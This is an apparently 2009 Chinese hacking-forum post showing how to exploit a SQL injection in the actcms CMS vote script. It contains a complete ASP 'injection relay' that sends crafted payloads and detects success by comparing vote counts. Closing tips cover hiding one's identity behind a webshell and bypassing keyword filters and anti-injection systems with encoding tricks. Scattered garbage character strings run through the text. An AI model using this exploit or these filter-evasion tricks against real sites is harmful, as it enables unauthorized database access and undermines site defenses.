注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
5 w. H; i" ?5 J+ s) @! p7 v链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
4 s7 z* G  O8 z! T. A( ]! t% ?漏洞文件：
4 h2 K6 G. {" |/plus/vote/vote.asp
; H  |( I) I! I+ z代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   
' w8 O+ [1 w4 y2 d
4    end if   
0 D6 o& e% r2 l0 ]/ c) H2 P
5    for i=1 to request("voted").count   
' D3 j9 Z! I6 q, F& C
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
0 Y0 C; I4 J0 `; F3 X" ^5 C
" i6 j- Z! b3 q8 t3 _7    next   

8....   

9response.Redirect "index.asp?id="&id&""   
; L7 W- A! n9 g: ^4 r6 d, y投票结束回跳转回index.asp这个投票结果页面
0 L  J' A* U6 s* v如果投票成功票数加1
            失败票数不变
! d, r2 Z0 h5 b# Q/ ]* p- b如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
3 g8 Z  K. f6 K) L( U; @. I1 D
2009-12-27 13:20

$ b5 v7 }! f2 ]! ~) }利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
  x. D% A! ]. |  K$ d2 h+ B
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: J8 ~  G" J8 {3 L5 W$ P6 A注入地址：http://localhost/actcms/plus/vote/vote.asp
; k4 q" G4 {- b注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

4 w# O% r4 C4 V; R5 |然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

; f3 m5 `  k. H3 E- T4 l02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% A' C) F3 b6 F( n6 V3 |& f
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! U: B8 s  [# B. O
2 }' R+ N5 U7 Q3 n05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ W0 C" {5 \8 r; y! g, @' e+ V
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
5 A5 S" S) c+ t9 g4 v% x
6 Z/ k. v/ P( Q. t5 u( e08testurl=testurl & "?" & JmStr

6 Q8 g3 U1 Y; a& h6 b09JMUrl=JMUrl & "?" & JmStr

# i7 S" l1 h1 N10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
4 E: q8 R- x( p* q! X* t
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
/ e" m$ L3 K1 Q2 r% r1 p
12JmCok=replace(JmCok,chr(32),"%20")  
) E. p/ ?0 a5 ?3 Z: K7 j) U
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

6 S% @- Z0 W( {2 D5 J+ A15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

$ a1 [& S' m' a5 \16  

( C9 k4 ]3 W+ S17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 o- s8 Y. r* q" Z1 j+ ?
, }8 k/ Z8 U: i3 }18response.write test1&""&test2&""

& t! P. a' }; V! ?; T/ D19  
; O2 _9 ^/ _/ o$ g7 J" d1 Q
. ~) ?7 m* @' P" z$ q. S* u20if test1=test2 then '如前后记录相等，表示失败

- f  m+ b' Y& Q! q$ x0 Q9 I: A3 H( C21  response.write "failed"
5 `% n9 R5 P( q# S
4 Q9 M: x" H3 _8 g$ n5 m8 [# i1 i22else
' d/ |4 J0 P& x% N5 R8 j
23  response.write "succeed"

24end if  
6 t: b( ]3 f1 f$ K6 a
25  

0 u2 A; b) q. W/ a! Q9 A: E6 ~26response.write "by 3x"

27  
$ k5 T9 w# p# Q, s, u/ C! K  f* n
. P, L3 k" X/ r5 A2 q+ ]28  
1 l: G& B/ z2 _9 P: }
2 t; r7 N6 N+ I7 g% }: W7 |29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

3 z# r- V/ s; I- ?% v% p30Dim Http

. K2 w. }- s" N( R2 i7 g) q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
0 [3 c% T, C. F9 U9 h' r2 D. \
32With Http
8 S2 u6 F* N- G. n* i
$ c$ p, o3 r- Y' x8 Y: C33  
: R0 i& W* z% y) p6 X  d) _
. v+ l! F8 f2 [( K. |34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

* f! N- G% n) x& I36.SetRequestHeader "Referer",PostRef
. z2 R- t7 t% i$ a7 E
0 P7 @) ^0 a& z9 U4 t" n37.SetRequestHeader "Cookie",PostCok

38.Send ()

6 x9 H( c# r5 m2 n, P/ w, |39PostData = .ResponseBody
) m5 n, A/ M* `
40End With
' o3 |& ]& j3 U$ X* k2 N; x
41Set Http = Nothing

2 s5 W8 ^/ f! I; L2 T' Z42PostData =bytes2BSTR(PostData)

1 ?3 O" K6 i' k* v, n" x' x43End Function

44  

9 |- p; l1 O' a* U$ M% g, T% U/ i" |* H45  
" V( e) n. S$ V1 q; \: [1 n
46Function bytes2BSTR(vIn)
$ _7 j0 O+ e5 j" G* m9 F" P
" r/ U% @& U! u0 V& y" ?2 U3 {# H47Dim strReturn
& B& v! U2 L2 {* E* i
48Dim I, ThisCharCode, NextCharCode
+ Z3 f# D( T% c) V% }6 A
49strReturn = ""
: p. c9 Q( x" e# n6 y, L3 g
50For I = 1 To LenB(vIn)
; A9 K1 G! C" t, v- Z
51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
8 n! V( C4 w9 P) i
" x# A, s; B: t4 \7 r53strReturn = strReturn & Chr(ThisCharCode)
3 n4 x9 i/ o- E) B, n# v
5 e" H; w  [& Q5 M- R6 u54Else
$ q" D9 d4 u+ }8 Q- m
& z4 b" a, I9 y: O2 w" g2 F55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 c3 {; {' h4 _2 N. c$ B" p
$ l. }3 O7 A3 R4 w# O56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1

" Y# H( M# B0 z* |3 L58End If

59Next
; A- n. X, G4 Y
5 `+ t4 |) u* K* T60bytes2BSTR = strReturn

61End Function
8 A6 y# F9 r$ U" t7 z% Z9 A
62  

63Function URLEncoding(vstrin)  
% O% Y3 R: a. k" X2 e( N
9 _* Y9 ^- B$ B7 c. D64strReturn=""
8 R7 e# \) W# [8 T" o' r
65Dim i

66For i=1 To Len(vstrin)
4 P0 y" V; M# E! O) {
67ThisChr=Mid(vstrin,i,1)
7 G5 C. H$ |" O& o+ o: D
68if Abs(Asc(ThisChr))< &HFF Then

5 z  b3 t7 [) B; _5 d$ V6 u; g69strReturn=strReturn & ThisChr
$ N: e: T8 X+ y. e8 _  a- @
$ n$ O  F/ i( Z* T& D; @70Else
1 R1 T/ k4 U8 [4 m. {; L  @
2 k% j* V$ K: t" @71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

6 B2 ~2 m  @5 m+ F5 ^! G/ X74End If

75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if
0 G- Z) b! L  _* w6 Q# x
79Next

& U$ s0 e  O: d# Z80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
3 R4 e" r% P/ O* W
# c5 D( o# c3 s6 V82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
7 p7 [4 _. v- J: Z5 C
83URLEncoding=strReturn
0 a: f: X# D) H% ~4 b; i
7 _- v, C, P# }8 A! ]84End Function

85  

86function getSt(body)
5 c6 R2 C4 S9 w# F
87  startpot=instr(body,"投票人数：")+len("投票人数：")
+ i( Z$ i+ o& r# r; `8 b
2 W  [, ]2 p( S0 m5 P/ P* N) T88  endpot=instr(startpot,body," ")

; s0 \! r( X  v/ H6 m89  getSt=mid(body,startpot,endpot-startpot)
& O7 B; w) S- I0 S
90end function

% X: P/ G' ?- b: E! B, e5 q) }91%>
. c  H4 K1 y, n5 ~0 L注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
1 H" g: p: Y0 Q0 Q7 Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
8 Y& L4 _4 ~, R; g; b
2009-12-27 13:29
- t. Z% i2 g4 R2 l投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 F: J, Z: z' l9 J. z6 t
2009-12-27 13:29
# R" v# l. s' E% G, p  L4 m-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
0 Y% F0 n: y1 x) V& m& T* v所以失败。。。不好意思。。。
% b; s0 ]# ~7 i$ B2 P/ E. ?-------------------------------------------------------------------------------
5 |. W. a, @* m( {+ Q% U
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ z+ E  D7 ?* k- O1 N. v; \" _1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
! y0 z3 u# \  ~* R' H1 T2.post注入转成get型的注入，方便我们使用工具来跑
! n8 s" U3 u9 u2 j4 M. V% G; C3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

4 s/ S, Z5 f9 P